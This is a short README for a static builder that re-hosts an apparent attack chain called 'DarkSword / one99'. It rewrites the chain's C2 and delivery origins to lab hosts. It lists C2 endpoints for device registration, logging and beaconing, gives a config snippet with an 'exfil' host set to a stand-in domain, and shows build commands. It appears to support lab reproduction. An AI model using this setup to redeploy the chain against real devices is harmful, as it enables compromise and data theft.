# channel-builder-ds DarkSword / one99 static builder. `source/` is the pristine tree (live hosts). `tools/build.py` rewrites C2 / delivery origins and copies the result to `public/next-chain`. Runtime splits two bases: - `__LAB_DELIVERY_HOST__` — static assets; may include a path (`https://cdn.example.com/next-chain`) - `__LAB_EXFIL__` — C2 / API (`/api/ds/chain-targets`, `/api/ds/device/register`, `/api/ds/log`, beacon/war) If the page is served under `/next-chain/`, delivery host is inferred automatically. Override in `source/config.js`: ```js deliveryHost: "https://cdn.example.com/next-chain", // full base, or deliveryPath: "/next-chain", // location.origin + path exfil: { host: "api.example.com", http_port: 443, https_port: 443, tls: true }, ``` ```bash cd channel-builder-ds python3 tools/build.py python3 tools/build.py --host 192.168.31.130 --port 8000 python3 tools/build.py --origin http://192.168.31.130:8000 ``` Writes `../public/next-chain/` (atomic replace). `source/` is never mutated.